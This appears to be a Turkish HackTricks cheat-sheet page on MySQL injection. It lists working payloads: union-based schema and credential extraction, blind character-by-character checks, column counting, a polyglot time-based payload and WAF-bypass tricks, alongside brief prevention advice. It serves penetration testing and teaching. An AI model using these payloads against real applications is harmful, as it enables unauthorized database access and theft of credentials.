MySQL injection

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın!

​​RootedCON, İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Yorumlar

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

İlginç Fonksiyonlar

Mysql Onaylama:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Kullanışlı fonksiyonlar

The following functions can be useful when performing MySQL injection attacks:

Aşağıdaki fonksiyonlar, MySQL enjeksiyon saldırıları gerçekleştirirken kullanışlı olabilir:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current MySQL user.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server is running.

  • @@version: Returns the version and build information of the MySQL server.

  • @@global.version_compile_os: Returns the operating system on which the MySQL server is running (global scope).

  • @@global.version: Returns the version and build information of the MySQL server (global scope).

These functions can be used to gather information about the MySQL server and its environment during a SQL injection attack.

Bu fonksiyonlar, bir SQL enjeksiyon saldırısı sırasında MySQL sunucusu ve çevresi hakkında bilgi toplamak için kullanılabilir.

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tüm enjeksiyonlar

Bu bölümde, MySQL enjeksiyonu hakkında bilgi bulacaksınız. MySQL enjeksiyonu, bir web uygulamasının veritabanına kötü niyetli SQL kodu enjekte ederek saldırganın yetkisiz verilere erişmesine veya veritabanını manipüle etmesine olanak tanır. Bu bölümde, MySQL enjeksiyonunun çeşitli türlerini ve nasıl kullanılabileceğini öğreneceksiniz.

İçerik

MySQL Enjeksiyonu Nedir?

MySQL enjeksiyonu, bir web uygulamasının veritabanına kötü niyetli SQL kodu enjekte ederek saldırganın yetkisiz verilere erişmesine veya veritabanını manipüle etmesine olanak tanır. Bu, web uygulamasının güvenlik açıklarından yararlanarak gerçekleştirilebilir. MySQL enjeksiyonu, saldırganın kullanıcı girişlerini manipüle etmesine ve ardından bu girişlerin veritabanı sorgularına dahil edilmesine dayanır.

MySQL Enjeksiyonu Türleri

MySQL enjeksiyonu çeşitli şekillerde gerçekleştirilebilir. İşte bazı yaygın MySQL enjeksiyonu türleri:

  • Union-Based SQL Injection: Bu tür enjeksiyon, UNION operatörünü kullanarak veritabanından veri çekmeyi hedefler. Saldırgan, UNION operatörünü kullanarak ek veri çekme sorgularını mevcut sorguya ekler ve böylece veritabanından istenmeyen verileri alır.

  • Boolean-Based SQL Injection: Bu tür enjeksiyon, web uygulamasının yanıtlarını analiz ederek doğru veya yanlış yanıtlar aracılığıyla veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının yanıtlarını manipüle ederek veritabanı yapısını keşfedebilir.

  • Time-Based SQL Injection: Bu tür enjeksiyon, web uygulamasının yanıtlarını geciktirerek veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının yanıtlarını geciktirerek veritabanı yapısını keşfedebilir.

  • Error-Based SQL Injection: Bu tür enjeksiyon, web uygulamasının hata mesajlarını kullanarak veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının hata mesajlarını manipüle ederek veritabanı yapısını keşfedebilir.

MySQL Enjeksiyonu Örnekleri

Bu bölümde, MySQL enjeksiyonunun bazı örneklerini bulacaksınız. Her bir örnek, belirli bir MySQL enjeksiyon türünü hedefler ve nasıl gerçekleştirileceğini gösterir.

MySQL Enjeksiyonu Önleme Yöntemleri

MySQL enjeksiyonu saldırılarını önlemek için aşağıdaki önlemleri alabilirsiniz:

  • Parametre Doğrulama: Web uygulamanızın giriş parametrelerini doğrulayarak saldırganın kötü niyetli girişleri engelleyebilirsiniz.

  • Parametre Bağlama: Web uygulamanızın giriş parametrelerini veritabanı sorgularına bağlayarak SQL enjeksiyonu saldırılarını engelleyebilirsiniz.

  • Güvenli Veritabanı Sorguları: Veritabanı sorgularınızı parametrelerle birleştirirken güvenli yöntemler kullanarak SQL enjeksiyonu saldırılarını önleyebilirsiniz.

  • Güvenlik Duvarı: Web uygulamanızın arkasına bir güvenlik duvarı yerleştirerek saldırıları engelleyebilirsiniz.

  • Güncel Yazılım: Web uygulamanızın ve kullanılan veritabanının güncel olduğundan emin olun. Güncel yazılım, bilinen güvenlik açıklarını düzeltir ve saldırıları önler.

  • Güvenlik Testleri: Web uygulamanızı düzenli olarak güvenlik testlerine tabi tutarak potansiyel güvenlik açıklarını tespit edebilir ve düzeltebilirsiniz.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Akış

Unutmayın ki "modern" MySQL sürümlerinde "information_schema.tables" yerine "mysql.innodb_table_stats" kullanabilirsiniz (Bu, WAF'ları atlatmak için faydalı olabilir).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Sadece 1 değer

  • group_concat()

  • Limit X,1

Tek tek kör

  • substr(version(),X,1)='r' veya substring(version(),X,1)=0x70 veya ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Kör ekleme

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Sütun sayısını tespit etme

Basit bir ORDER kullanarak

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Birleştirme Tabanlı

Bu teknik, bir SQL enjeksiyon saldırısı sırasında MySQL veritabanında birleştirme tabanlı bir saldırı gerçekleştirmek için kullanılır. Birleştirme tabanlı saldırılar, UNION operatörünü kullanarak birden fazla sorguyu birleştirerek istenilen verileri elde etmeyi amaçlar.

Saldırı Adımları

  1. İlk adım, hedef web uygulamasında SQL enjeksiyon açığı bulmaktır. Bu genellikle kullanıcı giriş alanları veya URL parametreleri gibi veri girişi noktalarında gerçekleşir.

  2. SQL enjeksiyon açığı bulunduktan sonra, UNION operatörünü kullanarak sorguya eklemek için birleştirme tabanlı bir saldırı gerçekleştirilir. UNION operatörü, iki veya daha fazla sorguyu birleştirmek için kullanılır.

  3. Saldırgan, UNION operatörünü kullanarak hedef veritabanından istenilen verileri çekmek için uygun sorguları oluşturur. Bu sorgular, saldırganın hedef veritabanında bulunan tabloları ve sütunları keşfetmesine olanak tanır.

  4. Saldırgan, UNION operatörünün kullanıldığı sorguları hedef web uygulamasına gönderir ve sonuçları analiz eder. Saldırgan, UNION operatörünün kullanıldığı sorguların sonuçlarını alarak hedef veritabanındaki verilere erişebilir.

Örnek Saldırı

Aşağıda, birleştirme tabanlı bir saldırı örneği verilmiştir:

SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users

Bu sorgu, "users" tablosundan "name" ve "email" sütunlarını alırken, "admin_users" tablosundan "username" ve "password" sütunlarını da alır. Saldırgan, bu sorguyu kullanarak normal kullanıcıların verilerini ve yönetici kullanıcılarının kimlik bilgilerini elde edebilir.

Önleme

Birleştirme tabanlı saldırılardan korunmak için aşağıdaki önlemleri alabilirsiniz:

  • Güvenli veri girişi sağlamak için kullanıcı giriş alanlarını ve URL parametrelerini doğru bir şekilde doğrulayın ve filtreleyin.

  • SQL sorgularını parametreli sorgularla oluşturun ve hazırlayın. Bu, SQL enjeksiyon saldırılarını önlemeye yardımcı olur.

  • Güvenlik açıklarını tespit etmek için düzenli olarak web uygulaması güvenlik taramaları yapın ve güncellemeleri takip edin.

  • Veritabanı kullanıcılarının minimum ayrıcalıklara sahip olduğundan emin olun ve gereksiz ayrıcalıkları kaldırın.

  • Güvenlik bilincini artırmak için personelinizi eğitin ve bilinçlendirin.

Bu önlemler, birleştirme tabanlı saldırılardan korunmanıza yardımcı olacaktır. Ancak, her zaman güncel ve güvenli bir web uygulaması kullanmanız önemlidir.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

SSRF elde etmek için bir Mysql enjeksiyonunu kötüye kullanmanın farklı seçeneklerini buradan öğrenin.

WAF bypass hileleri

Information_schema alternatifleri

Unutmayın ki "modern" MySQL sürümlerinde information_schema.tables yerine mysql.innodb_table_stats veya sys.x$schema_flattened_keys veya sys.schema_table_statistics kullanabilirsiniz.

Virgülsüz MySQL enjeksiyonu

Virgül kullanmadan 2 sütun seçin (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Sütun adı olmadan değerleri almak

Eğer belirli bir noktada tablonun adını biliyorsanız ancak tablo içindeki sütunların adını bilmiyorsanız, şu şekilde çalıştırarak kaç sütun olduğunu bulmaya çalışabilirsiniz:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Varsayalım ki 2 sütun var (ilk sütun ID olacak ve diğer sütun bayrak olacak), bayrağın içeriğini karakter karakter deneyerek brute force yöntemiyle deneyebilirsiniz:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Daha fazla bilgi için https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL geçmişi

MySQL içinde diğer yürütmeleri görmek için tabloyu okuyabilirsiniz: sys.x$statement_analysis

Alternatif sürümler

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Diğer MYSQL enjeksiyon kılavuzları

Referanslar

​​​​RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin teşvik edilmesi misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

Last updated